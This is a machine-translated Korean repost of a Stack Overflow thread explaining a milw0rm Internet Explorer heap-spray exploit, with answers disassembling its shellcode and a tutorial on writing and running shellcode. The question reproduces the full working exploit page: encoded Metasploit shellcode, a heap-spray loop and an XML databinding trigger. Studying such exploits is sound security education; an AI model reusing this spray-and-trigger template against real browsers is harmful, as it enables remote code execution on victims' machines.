이 milw0rm 힙 스프레이 익스플로잇은 어떻게 작동합니까?
나는 보통 JavaScript 코드를 읽는 데 어려움이 없지만 이것을 위해 논리를 알아낼 수 없습니다. 이 코드는 4 일 전에 게시 된 악용 코드입니다. milw0rm 에서 찾을 수 있습니다 .
코드는 다음과 같습니다.
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
여기에 내가 믿는 바가 있으며, 내가 오해하는 부분을 도와주십시오.
변수 shellcode
에는를 여는 코드가 포함되어 있습니다 calc.exe
. 나는 그들이 그 이상한 문자열을 어떻게 찾았는지 알지 못한다. 어떤 생각?
두 번째는 변수 spray
입니다. 이 이상한 루프를 이해하지 못합니다.
세 번째는 memory
어디에도 사용되지 않는 변수 입니다. 그들은 왜 그것을 만드는가?
마지막으로 : 페이지에서 XML 태그는 무엇을합니까?
현재로서는 좋은 답변이 있지만 대부분 매우 일반적인 답변이 있습니다. 코드 값에 대한 자세한 설명을 원합니다. 예는 unescape("%u0a0a%u0a0a");
입니다. 무슨 뜻이에요? 루프에 대해 같은 것 : 개발자가 쓴 이유 : length < 0xd0000
? 이 코드의 이론뿐만 아니라 더 깊은 이해를 원합니다.
쉘 코드에는 실제 악용을 수행하는 일부 x86 어셈블리 명령어가 포함되어 있습니다. spray
에 넣을 긴 명령 시퀀스를 만듭니다 memory
. 우리는 일반적으로 메모리에서 쉘 코드의 정확한 위치를 찾을 수 없으므로 많은 nop
명령을 앞에 넣고 어딘가로 이동합니다. memory
배열은 점프 메커니즘과 함께 실제의 x86 코드를 개최한다. 제작 된 XML을 버그가있는 라이브러리에 공급합니다. 파싱 될 때, 버그로 인해 명령어 포인터 레지스터가 익스플로잇 어딘가에 할당되어 임의의 코드가 실행됩니다.
더 깊이 이해하려면 실제로 x86 코드의 내용을 이해해야합니다. 변수에 unscape
문자열을 나타내는 바이트 시퀀스를 넣는 데 사용됩니다 spray
. 유효한 힙을 채우고 쉘 코드의 시작 부분으로 이동하는 유효한 x86 코드입니다. 종료 조건의 이유는 스크립팅 엔진의 문자열 길이 제한 때문입니다. 특정 길이보다 큰 문자열을 가질 수 없습니다.
x86 어셈블리에서을 0a0a
나타냅니다 or cl, [edx]
. 이것은 nop
우리의 착취를 목적으로 하는 교육 과 실질적으로 동일합니다 . 우리는의에 뛰어든지 spray
우리는 우리가 실제로 실행하고자하는 코드입니다 쉘 코드에 도달 할 때까지, 우리는 다음 명령어로 얻을 것이다.
XML을 보면 0x0a0a
거기에도 있습니다. 어떤 일이 발생하는지 정확하게 설명하려면 익스플로잇에 대한 특정 지식이 필요합니다 (버그의 위치와 익스플로잇 방법을 알아야합니다). 그러나 Internet Explorer에서이 innerHtml
악의적 인 XML 문자열을 설정하여 버그가있는 코드를 트리거하도록 강제하는 것 같습니다 . Internet Explorer는 구문 분석을 시도하고 버그 코드는 어떻게 든 배열이 존재하는 메모리 위치를 제어합니다 (큰 덩어리이기 때문에 점프 가능성이 높음). 우리가 그곳으로 점프하면 CPU는 or cl, [edx]
메모리에 넣은 쉘 코드의 시작 부분에 도달 할 때까지 명령 을 계속 실행 합니다.
쉘 코드를 분해했습니다.
00000000 C9 leave
00000001 2B1F sub ebx,[edi]
00000003 B10C mov cl,0xc
00000005 BDC536DB9B mov ebp,0x9bdb36c5
0000000A D9C5 fld st5
0000000C 2474 and al,0x74
0000000E 5A pop edx
0000000F F4 hlt
00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183
00000017 03D4 add edx,esp
00000019 07 pop es
0000001A 67305CFF xor [si-0x1],bl
0000001E 98 cwde
0000001F BBD7FFA4FE mov ebx,0xfea4ffd7
00000024 9B wait
00000025 74AD jz 0xffffffd4
00000027 058B8B028D add eax,0x8d028b8b
0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc]
00000032 37 aaa
00000033 B84290A63A mov eax,0x3aa69042
00000038 94 xchg eax,esp
00000039 E99AA4D58D jmp 0x8dd5a4d8
0000003E E5A3 in eax,0xa3
00000040 1F pop ds
00000041 4C dec esp
00000042 EB46 jmp short 0x8a
00000044 4B dec ebx
00000045 8CD0 mov eax,ss
00000047 AD lodsd
00000048 A844 test al,0x44
0000004A 52 push edx
0000004B 4A dec edx
0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8]
00000052 4B dec ebx
00000053 D46C aam 0x6c
00000055 46 inc esi
00000056 1392734A204F adc edx,[edx+0x4f204a73]
0000005C F8 clc
0000005D 6E outsb
0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2]
00000064 04D4 add al,0xd4
00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1
0000006D 7CE8 jl 0x57
0000006F C0CA8C ror dl,0x8c
00000072 F4 hlt
00000073 A6 cmpsb
00000074 47 inc edi
00000075 210D2EA0B0CD and [0xcdb0a02e],ecx
0000007B 2CA8 sub al,0xa8
0000007D B05B mov al,0x5b
0000007F 43 inc ebx
00000080 F4 hlt
00000081 24E8 and al,0xe8
00000083 7A9C jpe 0x21
00000085 BB857DCBA0 mov ebx,0xa0cb7d85
0000008A 7DED jnl 0x79
0000008C 92 xchg eax,edx
0000008D 09E1 or ecx,esp
0000008F 96 xchg eax,esi
00000090 315580 xor [ebp-0x80],edx
Understanding this shellcode requires x86 assembly knowledge and the problem in the MS library itself (to know what the system state is when we reach here), not JavaScript! This code will in turn execute calc.exe
.
This looks like an exploit of the recent Internet Explorer bug that Microsoft released the emergency patch for. It uses a flaw in the databinding feature of Microsoft's XML handler, that causes heap memory to be deallocated incorrectly.
Shellcode is machine code that will run when the bug occurs. Spray and memory are just some space allocated on the heap to help the exploitable condition occur.
Heap Spraying is common way to exploit browser stuff, if you are into it you can find several posts like this : http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
Any time I see memory that doesn't get addressed in an exploit discussion, my first thought is that the exploit is some sort of buffer overflow, in which case the memory is either causing the buffer to overflow or is being accessed once the buffer overflows.
This is from metasploit, that means it's using one of metasploit shell codes. It's open source so you can go and grab it : http://www.metasploit.com/
See Character encodings in HTML.
It's binary data encoded as a string, which JavaScript is decoding.
Common form of XSS also.
You can see all the encoding tricks here:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
Simple shellcode example
Hello world in assembly at&t syntax x86 I believe (Wizard in Training).
set up the file:vim shellcodeExample.s
.text #required
.goblal _start #required
_start: #main function
jmp one #jump to the section labeled one:
two:
pop %rcx #pop %rcx off the stack, or something
xor %rax, %rax #Clear
movl 4, %rax #use sys_write(printf || std::cout)
xor %rbx, %rbx #Clear
inc %rbx #increment %rbx to 1 stdout(terminal)
xor %rdx, %rdx #Clear Registers or something
movb $13, %dl #String Size
int $0x80
one:
call two #jump up to section two:
.ascii "Hello World\r\n" #make the string one of the starting memory
#^-addresses
compile like so:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Now you have a binary that prints out hello world. to convert the binary into shell code type in: objdump -D shellcode
you will get the output:
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000400078 <.text>:
400078: eb 1a jmp 0x400094
40007a: 59 pop %rcx
40007b: 48 31 c0 xor %rax,%rax
40007e: b0 04 mov $0x4,%al
400080: 48 31 db xor %rbx,%rbx
400083: 48 ff c3 inc %rbx
400086: 48 31 d2 xor %rdx,%rdx
400089: b2 0d mov $0xd,%dl
40008b: cd 80 int $0x80
40008d: b0 01 mov $0x1,%al
40008f: 48 ff cb dec %rbx
400092: cd 80 int $0x80
400094: e8 e1 ff ff ff callq 0x40007a
400099: 68 65 6c 6c 6f pushq $0x6f6c6c65
40009e: 20 77 6f and %dh,0x6f(%rdi)
4000a1: 72 6c jb 0x40010f
4000a3: 64 fs
4000a4: 0d .byte 0xd
4000a5: 0a .byte 0xa
Now if you look on the 4th line with text you will see: 400078: eb 1a jmp 0x400094
the part that says eb 1a
is the hexadecimal representation of the assembly instruction jmp one
where "one" is the memory address of your string.
to prep your shellcode for execution open up another text file and store the hex values in a character array. To format the shell code correctly you type in a \x
before every hex value.
the upcoming shell code example will look like the following according to the objdump command output:
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
This example uses C for the array. Now you have working shellcode that will write to stdout "hello world"
you can test the shell code by placing it in a vulnerability or you can write the following c program to test it:
vim execShellcode.cc; //linux command to create c file.
/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] =
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";
int main(){
((void(*)(void))PAYLOAD)();
return 0;
}
To compile the program type in:
gcc -fno-stack-protector -z execstack execShellcode.cc -o run
run with ./run
You know have a working example of simple shellcode development that was tested in linux mint/debian.
참고URL : https://stackoverflow.com/questions/381171/how-does-this-milw0rm-heap-spraying-exploit-work
'programing tip' 카테고리의 다른 글
파일을 선택할 때 업로드 양식을 자동 제출하려면 어떻게합니까? (0) | 2020.06.15 |
---|---|
다른 테이블에없는 행을 선택하십시오. (0) | 2020.06.15 |
UILabel-줄 바꿈 텍스트 (0) | 2020.06.15 |
BigDecimal에 대한 추가 (0) | 2020.06.15 |
git init을 두 번 실행하면 리포지토리가 초기화되거나 기존 리포지토리가 다시 초기화됩니까? (0) | 2020.06.15 |